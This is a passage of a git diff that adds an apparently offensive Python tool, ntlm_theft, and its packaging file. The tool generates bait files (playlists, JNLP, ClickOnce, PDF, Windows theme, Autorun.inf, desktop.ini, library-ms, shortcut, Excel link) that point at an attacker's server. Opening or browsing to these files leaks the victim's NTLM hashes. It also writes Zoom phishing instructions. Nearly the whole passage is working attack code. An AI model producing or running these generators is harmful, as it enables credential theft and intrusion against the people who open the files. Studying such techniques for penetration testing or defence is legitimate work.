"external://"+server+"\\share\\[Workbookname.xlsx]SheetName'!$B$2:$C$62,2,FALSE)") + workbook.close() + print("Created: " + filename + " (OPEN)") + +# .wax remote playlist attack +# Filename: shareattack.wax, action=open, attacks=windows media player +def create_wax(generate,server,filename): + file = open(filename,'w') + file.write('''https://''' + server + '''/test +file://\\\\''' + server + '''/steal/file''') + file.close() + print("Created: " + filename + " (OPEN)") + +# .m3u remote playlist attack +# Filename: shareattack.m3u, action=open, attacks=windows media player +def create_m3u(generate,server,filename): + file = open(filename,'w') + file.write('''#EXTM3U +#EXTINF:1337, Leak +\\\\''' + server + '''\\leak.mp3''') + file.close() + print("Created: " + filename + " (OPEN IN WINDOWS MEDIA PLAYER ONLY)") + +# .asx remote playlist attack +# Filename: shareattack.asx, action=open, attacks=windows media player +def create_asx(generate,server,filename): + file = open(filename,'w') + file.write(''' + Leak + + + + +''') + file.close() + print("Created: " + filename + " (OPEN)") + +# .jnlp remote jar attack +# Filename: shareattack.jnlp, action=open, attacks=java web start +def create_jnlp(generate,server,filename): + file = open(filename,'w') + file.write(''' + + + + + +''') + file.close() + print("Created: " + filename + " (OPEN)") + +# .application remote dependency codebase attack +# Filename: shareattack.application, action=open, attacks= .NET ClickOnce +def create_application(generate,server,filename): + file = open(filename,'w') + file.write(''' + + + + + + + + + + + + + ESZ11736AFIJnp6lKpFYCgjw4dU= + + + +''') + file.close() + print("Created: " + filename + " (DOWNLOAD AND OPEN)") + +# .pdf remote object? attack +# Filename: shareattack.pdf, action=open, attacks=Adobe Reader (Others?) +def create_pdf(generate,server,filename): + file = open(filename,'w') + file.write('''%PDF-1.7 +1 0 obj +<> +endobj +2 0 obj +<> +endobj +3 0 obj +<>>> +endobj +xref +0 4 +0000000000 65535 f +0000000015 00000 n +0000000060 00000 n +0000000111 00000 n +trailer +<> +startxref +190 +3 0 obj +<< /Type /Page + /Contents 4 0 R + /AA << + /O << + /F (\\\\\\\\''' + server + '''\\\\test) + /D [ 0 /Fit] + /S /GoToE + >> + >> + /Parent 2 0 R + /Resources << + /Font << + /F1 << + /Type /Font + /Subtype /Type1 + /BaseFont /Helvetica + >> + >> + >> +>> +endobj +4 0 obj<< /Length 100>> +stream +BT +/TI_0 1 Tf +14 0 0 14 10.000 753.976 Tm +0.0 0.0 0.0 rg +(PDF Document) Tj +ET +endstream +endobj +trailer +<< + /Root 1 0 R +>> +%%EOF''') + file.close() + print("Created: " + filename + " (OPEN AND ALLOW)") + + +def create_zoom(generate,server,filename): + if generate == "modern": + print("Skipping zoom as it does not work on the latest versions") + return + file = open(filename,'w') + file.write('''To attack zoom, just put the following link along with your phishing message in the chat window: + +\\\\''' + server + '''\\xyz +''') + file.close() + print("Created: " + filename + " (PASTE TO CHAT)") + +def create_theme(generate,server,filename): + with open(filename, 'w') as file: + file.write('''[Theme] +; Windows - IDS_THEME_DISPLAYNAME_AERO_LIGHT +DisplayName=\\'''+ server +''' Theme +SetLogonBackground=0 +; Computer - SHIDI_SERVER +[CLSID\\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\\DefaultIcon] +DefaultValue=\\\\'''+server+'''\\setup.exe,-109 + +; UsersFiles - SHIDI_USERFILES +[CLSID\\{59031A47-3F72-44A7-89C5-5595FE6B30EE}\\DefaultIcon] +DefaultValue=\\\\'''+server+'''\\setup.exe,-123 + +; Network - SHIDI_MYNETWORK +[CLSID\\{F02C1A0D-BE21-4350-88B0-7367FC96EF3C}\\DefaultIcon] +DefaultValue=\\\\'''+server+'''\\setup.exe,-25 + +; Recycle Bin - SHIDI_RECYCLERFULL SHIDI_RECYCLER +[CLSID\\{645FF040-5081-101B-9F08-00AA002F954E}\\DefaultIcon] +Full=\\\\'''+server+'''\\setup.exe,-54 +Empty=\\\\'''+server+'''\\setup.exe,-55 + +[Control Panel\\Cursors] +AppStarting=\\\\'''+server+'''\\setup.exe +Arrow=\\\\'''+server+'''\\aero_arrow.cur +Crosshair= +Hand=\\\\'''+server+'''\\aero_link.cur +Help=\\\\'''+server+'''\\aero_helpsel.cur +IBeam= +No=\\\\'''+server+'''\\aero_unavail.cur +NWPen=\\\\'''+server+'''\\aero_pen.cur +SizeAll=\\\\'''+server+'''\\aero_move.cur +SizeNESW=\\\\'''+server+'''\\aero_nesw.cur +SizeNS=\\\\'''+server+'''\\aero_ns.cur +SizeNWSE=\\\\'''+server+'''\\aero_nwse.cur +SizeWE=\\\\'''+server+'''\\aero_ew.cur +UpArrow=\\\\'''+server+'''\\aero_up.cur +Wait=\\\\'''+server+'''\\aero_busy.ani +DefaultValue=Windows Default +DefaultValue.MUI=@main.cpl,-1020 + +[Control Panel\\Desktop] +Wallpaper=\\\\'''+server+'''\\setup.exe +TileWallpaper=0 +WallpaperStyle=10 +Pattern= +MultimonBackgrounds=0 + +[VisualStyles] +Path=\\\\'''+server+'''\\Themes\\Aero\\Aero.msstyles +ColorStyle=NormalColor +Size=NormalSize +AutoColorization=0 +ColorizationColor=0XC40078D4 +SystemMode=Light +AppMode=Light + +[boot] +SCRNSAVE.EXE= + +[MasterThemeSelector] +MTSM=RJSPBS + +[Sounds] +; IDS_SCHEME_DEFAULT +SchemeName=@\\\\'''+server+'''\\setup.dll,-800 + ''') + print("Created: " + filename + " (THEME TO INSTALL") + +def create_autoruninf(generate,server,filename): + if generate == "modern": + print("Skipping Autorun.inf as it does not work on modern Windows") + return + file = open(filename,'w') + file.write('''[autorun] +open=\\\\''' + server + '''\\setup.exe +icon=something.ico +action=open Setup.exe''') + file.close() + print("Created: " + filename + " (BROWSE TO FOLDER)") + +def create_desktopini(generate,server,filename): + if generate == "modern": + print("Skipping desktop.ini as it does not work on modern Windows") + return + file = open(filename,'w') + file.write('''[.ShellClassInfo] +IconResource=\\\\''' + server + '''\\aa''') + file.close() + print("Created: " + filename + " (BROWSE TO FOLDER)") + +def create_libraryms(generate,server,filename): + file = open(filename,'w') + file.write(''' + +@shell32.dll,-34575 +S-1-5-21-372074477-2495183225-776587326-1000 +1 +true +\\\\''' + server + '''\\aa + +{7d49d726-3c21-4f05-99aa-fdc2c9474656} + + + +@shell32.dll,-34577 +true + +knownfolder:{FDD39AD0-238F-46AF-ADB4-6C85480369C7} +MBAAAEAFCAAA...MFNVAAAAAA + + + +@shell32.dll,-34579 +true + +knownfolder:{ED4824AF-DCE4-45A8-81E2-FC7965083634} +MBAAAEAFCAAA...HJIfK9AAAAAA + + + +''') + file.close() + print("Created: " + filename + " (BROWSE TO FOLDER)") + + +# .lnk remote IconFile Attack +# Filename: shareattack.lnk, action=browse, attacks=explorer +def create_lnk(generate,server,filename): + # these two numbers define location in template that holds icon location + offset = 0x136 + max_path = 0xDF + unc_path = f'\\\\{server}\\tools\\nc.ico' + if len(unc_path) >= max_path: + print("Server name too long for lnk template, skipping.") + return + unc_path = unc_path.encode('utf-16le') + with open(os.path.join(script_directory,"templates", "shortcut-template.lnk"), 'rb') as lnk: + shortcut = list(lnk.read()) + for i in range(0, len(unc_path)): + shortcut[offset + i] = unc_path[i] + with open(filename,'wb') as file: + file.write(bytes(shortcut)) + print("Created: " + filename + " (BROWSE TO FOLDER)") + + +def main(): + args = build_parser().parse_args() + + # create folder to hold templates, if already exists delete it + if os.path.exists(args.filename): + if input(f"Are you sure to want to delete {args.filename}? [Y/N]").lower() not in ["y", "yes"]: + exit(0) + shutil.rmtree(args.filename) + os.makedirs(args.filename) + + # handle which documents to create + if (args.generate == "all" or args.generate == "modern"): + create_scf(args.generate, args.server, os.path.join(args.filename, args.filename + ".scf")) + + create_url_url(args.generate, args.server, os.path.join(args.filename, args.filename + "-(url).url")) + create_url_icon(args.generate, args.server, os.path.join(args.filename, args.filename + "-(icon).url")) + + create_lnk(args.generate, args.server, os.path.join(args.filename, args.filename + ".lnk")) + + create_rtf(args.generate, args.server, os.path.join(args.filename, args.filename + ".rtf")) + + create_xml(args.generate, args.server, os.path.join(args.filename, args.filename + "-(stylesheet).xml")) + create_xml_includepicture(args.generate, args.server, os.path.join(args.filename, args.filename + "-(fulldocx).xml")) + + create_htm(args.generate, args.server, os.path.join(args.filename, args.filename + ".htm")) + create_htm_handler(args.generate, args.server, os.path.join(args.filename, args.filename + "-(handler).htm")) + + create_docx_includepicture(args.generate, args.server, os.path.join(args.filename, args.filename + "-(includepicture).docx")) + create_docx_remote_template(args.generate, args.server, os.path.join(args.filename, args.filename + "-(remotetemplate).docx")) + create_docx_frameset(args.generate, args.server, os.path.join(args.filename, args.filename + "-(frameset).docx")) + + create_xlsx_externalcell(args.generate, args.server, os.path.join(args.filename, args.filename + "-(externalcell).xlsx")) + + create_wax(args.generate, args.server, os.path.join(args.filename, args.filename + ".wax")) + + create_m3u(args.generate, args.server, os.path.join(args.filename, args.filename + ".m3u")) + + create_asx(args.generate, args.server, os.path.join(args.filename, args.filename + ".asx")) + + create_jnlp(args.generate, args.server, os.path.join(args.filename, args.filename + ".jnlp")) + + create_application(args.generate, args.server, os.path.join(args.filename, args.filename + ".application")) + + create_pdf(args.generate, args.server, os.path.join(args.filename, args.filename + ".pdf")) + + create_zoom(args.generate, args.server, os.path.join(args.filename, "zoom-attack-instructions.txt")) + + create_libraryms(args.generate, args.server, os.path.join(args.filename, args.filename + ".library-ms")) + + create_autoruninf(args.generate, args.server, os.path.join(args.filename, "Autorun.inf")) + + create_desktopini(args.generate, args.server, os.path.join(args.filename, "desktop.ini")) + + create_theme(args.generate, args.server, os.path.join(args.filename, args.filename + ".theme")) + + elif(args.generate == "scf"): + create_scf(args.generate, args.server, os.path.join(args.filename, args.filename + ".scf")) + + elif(args.generate == "url"): + create_url_url(args.generate, args.server, os.path.join(args.filename, args.filename + "-(url).url")) + create_url_icon(args.generate, args.server, os.path.join(args.filename, args.filename + "-(icon).url")) + + elif(args.generate == "lnk"): + create_lnk(args.generate, args.server, os.path.join(args.filename, args.filename + ".lnk")) + + elif(args.generate == "rtf"): + create_rtf(args.generate, args.server, os.path.join(args.filename, args.filename + ".rtf")) + + elif(args.generate == "xml"): + create_xml(args.generate, args.server, os.path.join(args.filename, args.filename + "-(stylesheet).xml")) + create_xml_includepicture(args.generate, args.server, os.path.join(args.filename, args.filename + "-(fulldocx).xml")) + + elif(args.generate == "htm"): + create_htm(args.generate, args.server, os.path.join(args.filename, args.filename + ".htm")) + + elif(args.generate == "docx"): + create_docx_includepicture(args.generate, args.server, os.path.join(args.filename, args.filename + "-(includepicture).docx")) + create_docx_remote_template(args.generate, args.server, os.path.join(args.filename, args.filename + "-(remotetemplate).docx")) + create_docx_frameset(args.generate, args.server, os.path.join(args.filename, args.filename + "-(frameset).docx")) + + elif(args.generate == "xlsx"): + create_xlsx_externalcell(args.generate, args.server, os.path.join(args.filename, args.filename + "-(externalcell).xlsx")) + + elif(args.generate == "wax"): + create_wax(args.generate, args.server, os.path.join(args.filename, args.filename + ".wax")) + + elif(args.generate == "m3u"): + create_m3u(args.generate, args.server, os.path.join(args.filename, args.filename + ".m3u")) + + elif(args.generate == "asx"): + create_asx(args.generate, args.server, os.path.join(args.filename, args.filename + ".asx")) + + elif(args.generate == "jnlp"): + create_jnlp(args.generate, args.server, os.path.join(args.filename, args.filename + ".jnlp")) + + elif(args.generate == "application"): + create_application(args.generate, args.server, os.path.join(args.filename, args.filename + ".application")) + + elif(args.generate == "pdf"): + create_pdf(args.generate, args.server, os.path.join(args.filename, args.filename + ".pdf")) + + elif(args.generate == "zoom"): + create_zoom(args.generate, args.server, os.path.join(args.filename, "zoom-attack-instructions.txt")) + + elif(args.generate == "libraryms"): + create_libraryms(args.generate, args.server, os.path.join(args.filename, args.filename + ".library-ms")) + + elif(args.generate == "autoruninf"): + create_autoruninf(args.generate, args.server, os.path.join(args.filename, "Autorun.inf")) + + elif(args.generate == "desktopini"): + create_desktopini(args.generate, args.server, os.path.join(args.filename, "desktop.ini")) + + elif(args.generate == "theme"): + create_theme(args.generate, args.server, os.path.join(args.filename, args.filename + ".theme")) + + print("Generation Complete.") + + +if __name__ == "__main__": + main() diff --git a/pyproject.toml b/pyproject.toml new file mode 100644 index 0000000..92963f0 --- /dev/null +++ b/pyproject.toml @@ -0,0 +1,26 @@ +[build-system] +requires = ["hatchling"] +build-backend = "hatchling.build" + +[project] +name = "ntlm_theft" +version = "0.1.0" +description = "Generate files for forced NTLM authentication / hash capture" +readme = "README.md" +license = { file = "LICENSE" } +requires-python = ">=3.7" +dependencies = [ + "xlsxwriter", +] + +[project.scripts] +ntlm_theft = "ntlm_theft:main" + +[tool.hatch.build.targets.wheel] +include = [ + "ntlm_theft.py", + "templates/**", +] + +[tool.hatch.build.targets.wheel.sources] +"." = "ntlm_theft"